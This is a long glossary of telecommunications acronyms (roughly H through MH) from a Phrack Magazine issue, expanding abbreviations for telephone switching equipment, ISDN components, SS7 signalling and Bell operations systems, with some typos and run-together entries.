
HIC Hybrid integrated circuit

HIM Host interface module

HIS Hunting ISH

HK Hook

HL IT Siemens semiconductors (hl)

HLC Highest lead factor group count

HLDG Holding

HLLAPI High level language application program interface HLSC High‑level service circuits

HM1 Intercom plus USOC

HMCL Host message class assignment

HMP Intercom plus

HNPA Home numbering plan area

HNS Hospitality network service

HOBIC Hotel billing information center

HOBIS Hotel billing information system

HOLD Call hold (i.253 b)

HP Hewlett‑packard

HP Non‑DDS digital data 2.4 kb/s INTER/TRA blocal 1‑26 HPO High performance option

HQ Non‑DDS digital data 4.8 kb/s INTER/TRA blocal 1‑26 HR Hour

HR Non‑DDS digital data 9.6 kb/s INTER/TRA blocal 1‑26 HRS Hours prefix

HS High capacity subrate‑service code for LATA access HSCC High level serial communication controller sab82520 HSCX Extended hscc sab82525

HSM Host switching module

HSSDS High‑speed switched digital service

HT Horizontal tabulator

HT Hunt‑to telephone number

HTI Highway transfer interrupt

HU High usage

HU High‑usage trunk

HUNT Hunting

HUTG High usage trunk group

HW High and wet.

HW High‑and‑wet

HW Non‑DDS digital data 56 kb/s INTER/TRA blocal 1‑26 HW Pcm highway

HZ Hertz

I Cable and pair or associated equipment

I Information (LAP‑D command)

I Installation

I Invalid

I&I Investment and inventory

I&M Customer services installation and maintenance

I&M Installation & maintenance

I‑ Information (numbered i‑frames)

I/O Ineffective other

I/O Input/output devices

I/O Tnput/output

I0 Feature removed

I1 Added feature

IA Immediate action

IA Ineffective attempts

IAA Ineffective attempt analysis.

IAAN Immediatel action report

IAC0 DLI 0 access error

IAC1 DLI 1 access error

IACS Intergrated access cross‑connected system

IAD Incomplete address detected (incoming)

IAM Initial address msg. (SS7: in ISUP)

IB Instruction buffer

IBC ISDN burst transceiver circuit

IBN Integrated business network

IBROFC ISDN BRCS and Analog Office totals

IC Incoming call (x.25)

IC Independent carrier

IC Installation centers

IC Inter‑LATA carrier

IC Inter‑exchange carrier

IC Interexchange carriers

IC/MC Installation and maintence centers

ICA Incoming advance

ICA Incoming advance (MDII)

ICAN Individual circuit analysis

ICAO International civil aviation organization

ICC ISDN communications controller

ICC Interstate commerce commission

ICCU Inmate call control unit

ICD Interactive call distribution

ICL Intra‑RSM communication link

ICLID Individual calling line id

ICM Integrated call management

ICN Interconnecting network

ICOM (taiwan) integrated communication

ICOT Intercity and outstate trunk

ICP Intercept

ICPOT Interexchange carrier‑point of termination

ICSC Inter‑LATA customer service center

ICSC Interexchange carrier service center

ICSC Interexchange customer service center

ICUG International closed user groups

ICUP Individual circuit usage and peg count

ICUR Individual circuit usage recorder

ID Idle control code

IDA (gb) interated digital access (b64+b8+d8)

IDC Information distribution companies

IDCI Interim defined central office interface

IDCU Integrated digital carrier unit

IDCU Integrated digital carrier unit .

IDCU Integrated digital carrier unit i.e. AT&T Series 5 RT FP 303G IDDD International direct distance dialing

IDEC ISDN d‑channel exchange controller

IDF Intermediate distributing frame

IDI Initial domain identifier (ISO 7498)

IDLC Integrated digital loop carrier

IDLC Intergrated digital loop carrier

IDP Individual dialing plan

IDPC Integrated data protocol controller

IDS Internal directory system

IDVC Integrated data/voice channel

IEC ISDN echo cancellation circuit

IEC Interexchange carrier

IEC International electrotechnical comission

IEC‑P (old name of iec‑q3)

IEC‑Q1 Iec for 2b1q peb2091

IEC‑Q2 Iec‑q specially for lt and NT1 (without microprocessor) IEC‑Q3 Iec‑q with parallel processor interface (i.e. for daml) IEC‑T Iec for 4b3t peb2090

IEEE Institute of electrical and electronics engineers IEPC ISDN exchange power controller

IF Intermediate frequency

IFAC Integrated digital carrier unit facility

IFRB International frecuency registration board

IFRPS Intercity facility relief planning system

IFS (switzerland) integrated telecom service

IGS Idenitfy graphic subrepertoire (teletex)

IIN Integrated information network

IJR Input a jeopardy reason

ILC ISDN link controller

ILINE IDCU line counts.

IM Input mux

IM Interface module

IMA Additional ineffective machine attempts

IMAS Integrated mass announcement system

IMC IOS mailbox control

IMCAT Input message catalog

IMCF Interoffice multiple call forwarding

IMD Intermodulation distortion

IMM Input message manual

IMMU IOS memory management unit

IMP Impedance

IMP Impules per minute

IMP Interpersonal messaging protocol (x.420: p2)

IMS Interprocessor message switch

IMT Inter‑machine trunk

IMTS Improved mobile telephone service

IMU Input measured ccs usage data

IN Intelligent network

IN/1 Intelligent network/1

INA Intergrated network access

INAP Intelligent network access point

INC Incoming trunk groups

INC International calling

INC International carrier

INC SEL Incoming selector

INCAS‑A Integrated network cost analysis ‑ access

INCAS‑LT Integrated network cost analysis ‑ local and toll INCAS‑S Integrated network cost analysis ‑ shared

INCAS/E Integrated network cost analysis system

INCAS/I Integrated network cost analysis system ‑ embedded INCIS Integrated network cost information system

INCP Incomplete

IND Individual

INF Information

INF Information (SS7: in ISUP)

INIT Allocation table initalization

INL Inter node link

INN Inter node network

INQ Complete circuit inquiry

INR Information request (SS7: in ISUP)

INS (japan) information network system (b64+b16+d8)

INT Interrupt (i.e. C/I channel code)

INTCCTRL International code control (NTI)

INTCHG Interexchange

INTEGRIS Integrated results information service

INTELSAT International telecommunications satellite consortium INTR Interrupt

INW INWATS [code 258(8000‑8299)]

INWATS Inward wide area telecommunications system

INWATS Inward wide area telephone service

INWBLKD INWATS returned blocked

INWBLKD Inward wide area telecommunications service (INWATS) returned blocked

INWBUSY INWATS all lines busy

INWCCBL INWATS code control blocked

INWDBOV INWATS data base overload

INWDBTO INWATS data base timeout

INWDSBL INWATS direct signaling blocked

INWNNPA INWATS nonpurchased NPA

INWNNPA INWATS nonpurchased numbering plan area (NPA) INWNOXL INWATS returned no translation

INWONPA INWATS invalid ONPA

INWONPA INWATS invalid originating numbering plan area (ONPA) INWOVLD INWATS returned overload

INWUNEQ INWATS returned unequipped

INWVLIN INWATS vacant line number

INWVNXX INWATS vacant NXX

IO Inward operator

IOAU Input/output access unit (univac)

IOC Independent operating company

IOC Input/output controler (shelf)

IOC Integrated optical circuit

IOC International overseas center

IOCC International overseas completion center

IOCP Input/output configuration process

IOCS Input/output control system

IODB IDCU on‑demand B‑channel

IOI Secondary input/output interface pack(s)

IOM ISDN‑oriented modular (architecture and interfaces) IOM2 Extended iom

IOMI Input/output microprocessor interface

IOP Input‑output processor

IOP Input/output Processor

IOP Input/output driver

IOP Input/output processor

IOS ISDN operational software

IOS Input/output supervisor (IBM)

IOS Inventory order system

IOSF Input/output shelf assignment

IOT Inter‑office trunk

IOT Interoffice test command (SARTS command)

IOT Interoffice testing

IOTC International originating toll center

IP Information provider

IP Inprogress

IP Intermediate point

IP Internet protocol

IPABX ISDN pabx

IPAC ISDN pc adapter circuit

IPACS Interactive planning & control system

IPAT ISDN primary access transceiver

IPB Sipb

IPBC IOM2 PBC (old name for EPIC)

IPC Inter‑process communication

IPC Interprocess communication

IPCS IOS process control system

IPCS Installation product costing system

IPCS Interactive problem control system

IPIB Intelligent personal computer interface board

IPIDB IDCU peripheral interface data bus

IPL Initial program load

IPL Interoffice private line signaling

IPL Interoffice private line signaling test (SARTS command) IPLAN Integrated planning and analysis system

IPLS InterLATA private line services

IPM Impulse per minute

IPM Impulses per minute

IPM Interruptions per minute

IPP IOS protocol part

IPP Integrated planning process

IPPC Interdepartmental project planning committee

IPR Installation performance results system

IPS Installation performance results

IPS Integrated Provisioning System

IPS Integrated provisions system

IPX Integrated packet exchange

IQS Instant request system

IR Incoming register

IRBR Integrated resource billing report system

IRC International record carrier

IRIS Industry relations information system

IRLF Incoming register link frame

IRM Information resource management

IRMC Incoming register marker connector

IRO Industry relations operations

IROR Internal rate of return

IRP Integrated revenue planning

IRPC ISDN remote power control psb2120

IRR Internal rate of return system

IRRS Interactive request and retrieval system

IRS Industrial revenue summary

IRT IDCU remote digital terminal

IRU Integrated recovery utility (sperry)

IS Interrupt set

IS/SADQ Interstate special access demand quantification

ISA Indicate status application

ISAC‑P ISDN subscriber access controller

ISAC‑S ISDN subscriber access controller

ISAM Indexed sequential access method

ISC Intelligent serial controller

ISC International switching center

ISC Planintercompany services coordination plan

ISC/TE Information systems center for technical education ISCAR Information systems costs analysis reports

ISCOM SWBT intercompany service coordination (ISC) order monitor ISCP Integrated service control point

ISCP/MSAP ISCP/multi‑service application platform

ISCP/SPOCK ISCP/service provisioning and on‑line creation tool kit software ISDN Integrated services digital network

ISF Inquire on a single facility

ISG Isolated system grounding

ISH Complete circuit inquiry short

ISI Industry support layout

ISIS Interstate settlements information system

ISLM Integrated services line module

ISLU Integrated services line unit

ISLUCC Integrated services line unit common controller ISLUCD Integrated services line unit common data

ISLUHLSC Integrated services line unit high level service circuit ISLUMAN Integrated services line unit metallic access network ISLURG Integrated services line unit ringing generator

ISM ISDN switching module

ISM Interactive synchronous mode

ISMP Industry specific measurement plan

ISMS Integrated service management system

ISMTL Information systems management training

ISN Information systems network

ISN Integrated systems network

ISNET Interim solution network (Kansas city only)

ISO Information systems organization

ISO International organization for standardization

ISOFC ISDN office totals

ISOPDB Information systems organization planning data base ISOSS Intercompany service order switching system

ISP Intermediate service part

ISPBX Integrated systems PBX

ISPC International signaling point code (SS7)

ISPF Interactive system productivity facility

ISPI ISDN packet interface

ISRP Information systems rules panel

ISS Integrated switching system

ISS Issue

ISSANRC Interstate special access non‑recurring

ISSC Interfunction special service coordination

ISSCO Intertoll

ISSN Integrated special services network

ISSN Intergrated specal services network

ISSS ISDN supporting system

ISTA Interrupt status register

ISUP ISDN user part

ISUP ISDN user part (SS7: q.76x)

ISUP Integrated services user part

IT Inactivity test (SS7: in SCCP)

IT Intertandem tie trunk INTER/TRA blocal 1‑26

ITAC ISDN terminal adaptor circuit

ITC Independent telephone company

ITC Interdepartmental training center at dallas‑texas for ITD Intertoll dial

ITEA Interoffice trunks engineering and administration ITF Integrated test facility

ITG Intergrated traffic generator

ITIMS Integrated transportation information management system ITIMS/IE Itims/information expert

ITM Cable pair item number

ITNA Improves thrid number acceptance

ITNO Item number

ITS Institute of telecommunication science

ITS Integrated test system

ITS Interactive training system

ITSE Incoming trunk service evaluation

ITSO Incoming trunk service observation

ITSTC Information technology steering committee (cen

ITT Idle trunk test

ITU International telecommunication union

ITU International telecommunications union

ITVSE Intermediary transport vendor service center

ITW Instructional technology workshop

IU Network/port interface unit

IUP Installed user program (IBM)

IVD Integrated voice data

IVP Installation verification procedures

IVP Installation verification program

IVTS International video teleconferencing service

IWF Interworking facility (gateway)

IWU Interworking unit (gateway)

IX Interactive executive

IXC Or icinterexchange carrier

IXM Interexchange mileage

Acronyms Part III

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 23 of 27

{Acronyms Part III}

J Enter centrex (CTX) or multiline hunt group (MLHG) number JAD Joint application design

JAM Jumper activity management

JCL Job control language

JDC Japan digital cellular

JDC Job duties code

JDI Job disposition indicator

JDIP Jmos/dopac interface process (comptroller system) JE Job evaluation

JEC Journal entity code

JES Job entry subsystem (IBM)

JES Job entry system

JES 2 Job entry system 2 (IBM)

JES 3 Job entry system 3 (IBM)

JET BTL TIRKS jumper evaluation technique

JFC Job function code

JGF Junctor grouping frame

JIB Job information block (VMS)

JIM Job information memorandum

JIS Jurisdictional interstate services

JK Jack

JKLAP Jack/key/and lamp access panel

JL Jumper length

JMOS Job management operations system

JMOS/PT JMOS/pricer‑tracker

JMOS/RPTS JMOS reports

JMOSCA Jmos contract administration

JMX Jumbogroup multiplex

JOSS Job order status system (distribution services system) JOSSVM Job order status system/VM

JOVIAL Jule's own version of the international algebraic language JP71 Joint practice 71

JP80 Joint practice 80

JPH Jumper placement history

JSC Job status code

JSN Junction switch number

JSW Junctor switch

JTR Jitter

JTRS JMOS trouble reporting system (distribution services system) JUICE JMOS user input card entry (distribution services system) K DACS‑SRDC

K Equipment frame designation

K Kilobit

KBPS Kilobits per second

KCA Key contributor award

KCO Keep cost order

KD Keyboard display

KDROP Key display receive only printer

KDT Keyboard display terminal

KERMIT Kermit

KEY Stop hunt or random make busy hunting

KFT Kilofeet

KHZ Kilo‑hertz

KHZ Kilohertz

KITSKOTS Kansas inward toll service/Kansas outward toll service KOHM Kilohms

KOP Thousands of operations per second

KP Key pulse

KPR Killer pair report

KSDS Key sequence data set (IBM)

KSM Create a transaction mask

KSR Keyboard send‑receive

KSU Key service unit

KTA Korea telecommunication authority (ROK)

KTS Key telephone set

KTS Key telephone system

KW Keyword

L Shift preference (if any) for this work to be performed. L/AOS Legal/advanced office system

L2DOWN Level 2 is inoperable.

L2QLTY Poor level 2 transmission quality.

L3‑ERC Layer 3 error control (IOS)

L3M Layer 3 mgr. (IOS)

LA Local area data channel INTER/TRA blocal 1‑26 LA Loop assignment

LAC LAN application controller

LAC Loop assignment center

LAD Label definition

LAD Loop activity data

LADS Local area data service

LADT Local access data transport

LADT Local area data transport

LAI Line equipment assignment inquiry

LAIS Local automatic intercept system

LAJMS Ledger and journal maintenance system

LAMA Local automatic message accounting

LAMA‑C Computerized local AMA for No. 5 crossbar

LAN Local area network

LANMS Light amplified by stimulated emission of radiation LAP Link access protocol

LAPB (LAP‑B) link access procedure of balanced mode LAPD (LAP‑D) link access procedure of D‑channels LAPD Link access procedure on the D channel

LAPM (LAP‑M) link access protocol for modems

LAPX Lapb extended (t.71)

LARG Lidb access routing guide

LASS Local alarm scanning system

LASS Local area signaling service

LAT Local access termianl (RMS‑D1)

LATA Local access and transport area

LATA Local access and transport areas

LATA Local access transport area

LATIS Loop activity tracking information system

LATIS I/F Loop activity tracking information system interface LATIS/INPUT Locally developed program used to input to the latis system LB Voice‑non switched line‑service code for LATA access LBBD Loopback B1

LBI Load balance index

LBK Loop test (SARTS command)

LBK Loopback

LBL Online tape label printing

LBNCGI LIDB BNS message with call gapping indicator present LBNGM LIDB BNS garbled message

LBNMGM LIDB BNS return value missing group or misrouted LBNNAN LIDB BNS return value no translation for an address of such nature

LBNNCG LIDB BNS return value network congestion

LBNNFL LIDB BNS return value network failure

LBNNPG LIDB BNS return value nonparticipating group LBNNSA LIDB BNS return value no translation for this specific address LBNREJ LIDB BNS reject message received

LBNSCG LIDB BNS return value subsystem congestion

LBNSFL LIDB BNS return value subsystem failure

LBNTO LIDB BNS message missed because of timeout

LBNUP LIDB BNS message with unexpected reply

LBNUUR LIDB BNS return value unequipped user

LBO Line buildout

LBP Load balance parameters

LBR Large business remote

LBRV Low bit rate voice

LBS Land and building system

LBS Load balance system

LBS Load balance system (BTL) module of tnds

LBST Loopback device signature table

LBU Loopback devices signature table

LBU Loopback unit

LBn Loopback channel bn request (command in IOM2 monitor and EOC) LC Line card

LC Line count

LC Output line count

LC Pending service order count

LC Voice‑switched line‑service code for LATA access LCAMOS Loop cable administration and maintenance operations system (predictor)

LCC Line class code

LCCIS Local common channel interoffice signaling

LCCL Line card cable

LCCLN Line card cable narrative

LCD List cable summary

LCDCGI LIDB CCRD message with call gapping indicator present LCDGM LIDB CCRD garbled message

LCDMGM LIDB CCRD return value missing group or misrouted LCDN Last called directory number

LCDNAN LIDB CCRD return value no translation for an address of such nature LCDNCG LIDB CCRD return value network congestion

LCDNFL LIDB CCRD return value network failure

LCDNPG LIDB CCRD return value nonparticipating group

LCDNSA LIDB CCRD return value no translation for this specific address LCDR Local call detail recording

LCDREJ LIDB CCRD reject message received

LCDSCG LIDB CCRD return value subsystem congestion

LCDSFL LIDB CCRD return value subsystem failure

LCDTO LIDB CCRD message missed because of timeout

LCDUP LIDB CCRD message with unexpected reply

LCDUUR LIDB CCRD return value unequipped user

LCE Line concentrating equipment frame

LCEN Line card equipment number

LCI LAN CPU interface

LCIE Lightguide cable interconnection equipment

LCLOC Line card location

LCM Line concentrating module

LCMC Line concentrating controller module

LCN Logical channel number

LCN Logical channel numbers

LCOS Line Class of service (GTE)

LCP Language conversion program

LCP List cable pairs

LCR Least cost routing

LCR Line concentration ratio

LCRMKR Line card remarks

LCS.MIT.EDU Telecomm digest archive site on the Internet

LCS7 Link controller for signaling system No.7

LCSE Line card service and equipment

LCSEN Line card service and equipment narrative

LD Load

LD Loading division

LD Long distance

LD Voice switched trunk‑service code for LATA access LDBM Listing data base maintenance

LDES Long distance experimental schedule

LDM Logical data model

LDMTS Long distance message telecommunications service

LDN Listed directory number

LDS Local digital switch

LDSU2 Local digital service unit ‑ model 2

LDT Local display terminal

LDU Long distance usage analysis

LE Leading edge (bsp)

LE Line equipment

LE Local exchange (contains D‑CTL)

LE Voice and tone‑radio landline‑service code for LATA access LEAD Loop engineering assignment data

LEAP System testing tool to simulate multiple 3270 users LEAS Lata equal access system

LEC Local exchange carrier

LED Last entry data

LED Light emitting diode

LED Light‑emitting diode

LEE Nac related line equipment transfer order establishment LEFTS Loop electronic forecasting and tracking system

LEG Customer training file

LEIM Loop electronic inventory module

LEIM Loop electronics inventory module

LEIS Loop engineering information system (applications) LEN Line equipment number

LENCL Line equipment number class

LENG Length

LERG Local exchange routing guide

LET Line equipment transfers

LETS Law enforcement teletypewriter service

LEV Level

LEW Line equipment transfer withdrawal

LF Data low‑speed‑service code for LATA access

LF Lease file

LF Line Finder

LF Line feed

LF Line finder

LF Load factor

LF Low frequance

LFACS Loop facilities assignment and control system

LFACS Loop facility assignment and control system

LFC Load factor calculation

LFR Line failure report

LFRC Local field reporting code

LG Basic data‑service code for LATA access

LGC Line group controller

LGN List hunt groups

LH Line hunting (i.252 f)

LH Voice and data‑psn access trunk‑service code for LATA access LI Length indicator (SS7)

LI Link interface

LIB Line interface board

LIDB Line information data base

LIDB Line information database

LIE Left in equipment

LIFECOST Life cycle cost system

LIFO Last in

LIJ Left In Jumper

LIM Less than the specified number of pairs

LIN Line

LIN Transmit alit data to COSMOS

LINCS Lan integrated network communications system

LINIS Line and number inventory system

LINK Loop interface network

LINK1 The basic rate interface transmission extension (BRITE) link one is down

LINK2 The BRITE link two is down.

LINK3 The BRITE link three is down.

LINK4 The BRITE link four is down.

LINK5 The BRITE link five is down.

LINK6 The BRITE link six is down.

LIS Library information system

LIST Listen

LIT Line insulation test

LIT Line insulation testing parameters

LIU Lats interface unit

LIU Line interface unit

LIU Line user interface

LJ Voice and data ssn access‑service code for LATA access LK Voice and data‑ssn‑intermachine trunk‑service code for LATA access

LKNODE Link node

LL Logical link

LL Long distance terminal line INTER/TRA blocal 1‑26

LL Long lines

LLC Line load control

LLC Low level controller sipx6100

LLD Low level device drivers (IOS)

LLDB Location life data base

LLF Line link frame

LLID Ll identifier

LLL Last look logic

LLN Line link network

LLN Line link network (ess)

LLP Link layer protocol (lapd)

LLS Local Line Switch (GTE)

LME Line module equipment

LMMS Local message metering system

LMOS Loop maintenance operations system

LMOS Loop maintenance operations systemr

LMOS F/E Loop maintenance operations system front end

LMOS HOST Loop maintenance operations system host

LMOS I/F Loop maintenance operating system interface

LMS Litigation management system

LMS Loop maintenance system

LMS/TUM Local measuring system/temporary usage measurement LMT Local maintance operations system

LMTS Limits

LMU Line multiplexer unit

LMX L‑multiplex

LN Data extension

LN Leased network

LN Loop normal (on‑hook normal)

LNA Line and number administration

LNA Low noise amplifier

LNBAS Call failed due to the query being blocked at the switch LNBN Call failed due to the query being blocked in the CCS network LNG Longitudinal

LNS Line number status

LO Low threshold

LOA Limit operator attempts

LOAD Listing of acronym definition

LOC Local

LOC Local operating company

LOC Location of cable on frame

LOCAP Low capacitance

LOCN Location

LOE List originating line equipment

LOE Location operating entity

LOES Lajms online entry system

LOF Lock off‑line

LOF Loss of frame

LOGIC Logistics integrated control system

LOGU Logical units assignments

LOMS Loop assignment center operations management system LON Lock on‑line

LONALS Local off‑net access lines

LP Telephoto/facsimile‑service code for LATA access

LPA Link pack area

LPBK Looped back

LPCDF Low profile combined distributing frame

LPCDF Low profile conventional distributing frame

LPIE Loop plant improvement evaluator

LPIE2 Loop plant improvement evaluator 2

LPK Line concentrating equipment line packs

LPM Lines per minute

LPM Logistic planning module

LPS Log/print status

LPT Loop test

LQ Voice grade customized‑service code for LATA access LR Loop reverse (off‑hook normal)

LR Protection relay‑voice grade‑service code for LATA access LRAP Long route analysis program

LRC Longitudal redundancy check

LRC Longitudinal redundancy check

LRIA1 Long run incremental analysis i

LRISP Long range information systems planning organization LRM Line resource monitor‑ims (BMC)

LRN Local reference number

LROPP Long‑rangeoutside plant planning

LROT OR LRH Local rotary

LRP Long rang planning

LRS Lease record system

LRS Line repeater station

LRSS Long range switching studies

LS Local service INTER/TRA blocal 1‑26

LS Loop start signaling

LS&E Local service and equipment

LSA Local security administrator

LSA Local subaccount

LSB Lower side band

LSBS Location specific bypass system

LSD&F Local switching demand & facility data base system LSDB Listing service data base

LSDF Local switching demand and facility data base system LSDN Local switched digital network

LSE Line and station transfer order establishment

LSEC Loss of sec (C/I channel code)

LSHF Message LAN shelf

LSI Large‑scale integrated circuitry

LSL Loss of signal level (C/I channel code)

LSM Load synchronization mechanization

LSM Local switching module

LSN Logical session number

LSO Local service office

LSO Local storage option‑ims (IBM)

LSRP Local switching replacement planning

LSRP Local switching replacement planning system

LSS Lata switching systems

LSS Listing service system

LSS Listing services system

LSS Loop switching system

LSSGR Lata switching systems generic requirements

LSSI Local special service inventory

LSSR Local special service results

LSSU Link state signal unit (SS7)

LSSU Link status signal unit

LST Line and station transfer

LSU Line switch unit

LSU Local storage unit

LSU Loss of signal level of u interface (C/I channel code) LSUE Lsu error condition (C/I channel code)

LSV Latch switch verification

LSV Line status verifier

LSW Line and station transfer withdrawal

LT Lata tandem

LT Line termination

LT Local terminal

LT Long distance terminal trunk INTER/TRA blocal 1‑26 LT‑S Lt on s bus

LT‑T Lt on t interface

LTAB Line test access bus

LTB Last trunk busy

LTC Line trunk controler

LTC Local test cabinet

LTD Local test desk

LTD Local test desk (#16

LTD Long term disability

LTD Lt disable (C/I channel code)

LTERM Logical terminal‑ims (IBM)

LTF Light terminal frame

LTF Lightwave terminal frame

LTF Lightwave terminating frame

LTF Line trunk frame

LTG Line translation group

LTG Line trunk group

LTI Loop termination identifier

LTMA Lightwave terminal multiplex assembly

LTMA Lightwave terminating multiplexing assembly

LTN List telephone numbers

LTOP Long term disability plan

LTP Line and trunk peripherals

LTP Local test port

LTP Loop technology planning

LTS Loss test set

LTU Line trunk unit

LTUC Ltu control

LU Line unit

LU 6.2 Protocol for appc

LU2 Line unit model 2

LUA Link up america tracking

LUCHBD Line unit channel board

LUCOMC Line unit common control

LUHLSC Line unit high level service circuit

LUIF Living unit interface file

LUM Line utilization monitor‑ims (BMC)

LUPEX Line unit path exerciser

LURR Large user reproduced records system

LV Sdlv

LVL1ERR Level 1 protocol error.

LVL2ERR Level 2 protocol error.

LVL3ERR Level 3 protocol error.

LVM Line verification module

LW‑SSS Lightwave system support services by weco

LWC Leave word calling

LX 2 Local originating

LX 2 Local terminating

LXE Lightguide express entry

LZ Dedicated facility‑service code for LATA access

M Latest date that this ticket can be loaded.

M M(transmit) signal lead

M Maintance

M Minutes

M LETTER Methods letter

M O Master office

M S Main station

M S Mark sense

M&P Methods and procedures

M‑MONEY Maintenance money

M‑STARS Measurement and statistics tracking and reporting system M/ATR Maritime/aviation tracking reports

M/W Microwave

M5 Five‑minute

MA Cellular access trunk 2‑way INTER/TRA blocal 1‑26

MA Maintenance administrator

MA Multiple access (primary)

MA02 Status requested

MA03 Hourly report of system circuits and units in trouble MA04 Reports condition of system ‑ 1AESS maintenance

MA05 Maintenance interrupt count for last hour ‑ 1AESS maintenance MA06 Scanners

MA07 Successful switch of duplicated unit (program store etc.) ‑ 1AESS

MA08 Excessive error rate of named unit ‑1AESS maintenance MA09 Power should not be removed from named unit ‑ 1AESS maintenance MA10 Ok to remove paper ‑ 1AESS maintenance

MA11 Power manually removed from unit ‑ 1AESS maintenance MA12 Power restored to unit ‑ 1AESS maintenance

MA13 Indicates central control active ‑ 1AESS maintenance MA15 Hourly report of # of times interrupt recovery program acted ‑ ma MA17 Centrex data link power removed ‑ 1AESS maintenance MA21 Reports action taken on mac‑rex command ‑1AESS maintenance msg MA23 4 minute report‑ emergency action phase triggers are inhibited MAB Metallic access bus

MAC Machine administration center

MAC Major accounting center

MAC Mechanized assignment control (BTL)

MAC Missed appointment code

MAC Monitor analysis & control of fa standard values MACBS Multi‑access cable billing system

MACS Major apparatus and cable system

MACS Mechanized analysis of customer systems

MACS(DS) Major apparatus control system (dist. svcs)

MADN Multiple access directory numbers

MADPE Address parity error

MAEC Media access error counter

MAI Multiple access interface (univac)

MAILLOG Manager electronic mail logging system

MAINT Maintenance

MAINT Maintenance handler

MAL Maintance action limits

MAL Manual assignment list

MALRU Mechanized automatic line record update

MALT Maintence transmission action limit table

MAMA Mechanized automatic message accounting

MAMA Mobile automatic message accounting

MAN Manual

MAN Metropolitan area network

MAN Miscellaneous account number

MAP Maintance and administration position

MAP Maintenance and administration position

MAP Maintenance and administrative position (NTI)

MAP Management assessment program

MAP Manual assignment parameters

MAP Manufacturing automation protocol

MAP Mobile application part

MAPCI Map command interpreter (NTI)

MAPPER Maintain and prepare executive reports

MAPS Mechanized accounts payable system

MAPS Modeling and planning system (BTL)

MAPSS Maintenance & analysis plan for special services MAPSS Maintenance and analysis plan for special services MAQ Manual assignment file inquiry

MAR Market analysis report (BTL)

MAR Microprogram address register

MAR Multi‑alternate route

MARC Market analysis of revenue and customers system

MARC Market analysis of revenues and customers

MARC/CAPS Market analysis of personnel and customer analysis profile MARCH A computer system

MARG Margin Parameter

MARK Mechnized Assiment Record Keeping System (GTE COSMOS) MARK IV General purpose information storage and retrieval system MARS Mechanized automative repair system

MARS Multiple access repair system

MAS Interfacesmessage analysis sampling plan

MAS Main store

MAS Mass announcement system (900 service)

MAS Memory administration system

MASB Mas bus

MASC Mas controller

MASM Mas memory

MAST Mail analysis and sales tracking

MAT Manual assistance tag

MAT Metropolitan area trunk

MATFAP Metropolitan area transmission facility analysis program MATR Maritime/aviation tracking system

MATR Modified answering time recorder

MATS Marketing access tracking system

MATS Mechanized analysis of traffic studies system

MAVIS McDonnel Douglas automatic voice information system (model 1018t) MAX Maximum

MAX Maximum messages

MAX Maximum percentage value of entity fill or maximum ccs value MAXS Metallic automatic cross‑connected system

MAY Modify an assembly

MB Make busy

MB Make‑busy or made‑busy

MB/S Megabits per second.

MBO Management by objectives

MBP Metallic bypass pair

MBPS Megabits per second

MBX Measured branch exchange

MBYTE Megabyte

MC Machine congestion

MC Maintance connector

MC Maintenance center

MC Maintenance circuit

MC Marker class of service

MC Memory controller

MCA Misrouted centralized automatic message accounting (MDII) MCAS Material cable administrative system

MCB Message control bank (sperry)

MCC Maintance control center

MCC Maintenance control center

MCC Manual camera control

MCC Master control center

MCC Minicuster controller

MCCI Mechanized customer contact index

MCCRAP Master control center trouble report analysis plan MCCS Mechanized calling card service

MCE Establish a maintenance change ticket

MCH Maintenance channel

MCH Manually change hunt

MCHB Maintenance channel buffer

MCI Malicious call identification (i.251 g)

MCI Microwave communications incorporated

MCIAS Multi‑channel intelligent announcement system

MCIAS Multi‑channel intercept announcement system

MCINT Mate control interrupt

MCL Maintenance change list

MCN Machine congestion level # where MCI=machine congestion level MCN Master control number

MCN Metropolitan campus network

MCOS Multiplexer out of synchronization

MCP Mechanized credit provisioning system

MCR Establish a maintenance change repair

MCR Mass call register

MCS Master cpu subsystem

MCS Meeting communications service

MCS Multiple console support

MCTAP Mechanized cable transfer administration plan

MCTRAP Mechanized customer trouble report analysis plan MCTSI Module controller/time slot interchange

MCTSI Module controller/time‑slot interchange unit

MCW Maintenance change ticket withdrawal

MD SS7fe message distributor

MD/RS Mechanized denial/restoral system

MDACS Modular digital access control system

MDC Manually disconnect a working circuit

MDC Marker distributor control

MDC Materials distribution center

MDC Meridian digital centrex

MDCMES Management development center mechanized enrollment system MDF Main distributing frame

MDF Main distribution frame

MDII Machine detected interoffice irregularities

MDII Machine‑detected interoffice irregularity

MDIS Marketing data interface system

MDLIE DLI interface error

MDOG Mechanized disbursement of gasoline

MDP SS7 fe message distribution protocol

MDR Mechanized draft reconciliation

MDR Message detail record

MDS Message design systems

MDT Management development/training

MDU Marker decoder unit

MDX Modular digital exchange

ME Management employment

ME & ASSM Management employment & assessment

ME CORP Corporation management employment

MEANS Model for economic analysis of network service

MEAS Measure

MEASMT Measurement

MEC Maintenance engineer center

MEC Manually establish a circuit

MEC Mobile equipment console

MECA Mechanization of engineering & circuit provisioning MECAB Multi exchange carrier access billing

MECCRRF Mechanized credit reference system

MECH More efficient call handling

MECOD Multiple exchange carrier ordering and design

MED Medium threshold

MED Multipoint end‑link data

MEDPLUS Medicare part b reimbursement payments

MEDS Mechanized expense distribution system

MEF Master employee file

MELD Mechanized engineering and layout for distributing frames MEP Medical expense plan

MERITS Measurement of exchange records integrity through sampling MERP Mechanization of estimate results plan

MERS Most economic route selection

MERT Master employee record tape

MESA Mechanized edits of street address

MESS Message

MET Multibuton electronic telephone

MET Multibutton electronic telephone

METASX Metallic access

MF Mainboard firmware (IOS)

MF Multi frame

MF Multi frequency

MF Multifrequency

MF Multiplexer frame

MFAS Mechanized forecasting and analysis system

MFC Master file directory (VMS‑catalog of UFDS)

MFC Modular feature construction

MFC Multiple frame operation control (IOS)

MFENET Magnetic fusion energy network

MFFAN Miscellaneous frame (CM2 offices only)

MFJ Modification of final judgement

MFJ Modification of final judgment

MFJ Modified final judgment (consent decree)

MFR Discmanufacture discontinued

MFR Mechanized force report

MFR Multi‑frequency receivers

MFRS Management force reporting system

MFS Message formatting service‑ims (IBM)

MFT Metallic facility terminal

MFT Multiprogramming with a fixed number of tasks

MG Marker group

MG Marker group number

MG Mastergroup

MGB Main ground bus

MGB Master ground bar

MGBAF Maintenance group blocking acknowledgment failure

MGR Manager

MGSC Message service customer counts

MGSG Message service multi‑line hunt

MGT Mastergroup translator

MGUAF Maintenance group unblocking acknowledgment failure MH Modified huffman code (fax)

MHD Moving head disk

MHD Moving head disk drive(s) used in the am.

MHDC Moving head disk control

MHDDC Moving head disk data/clock

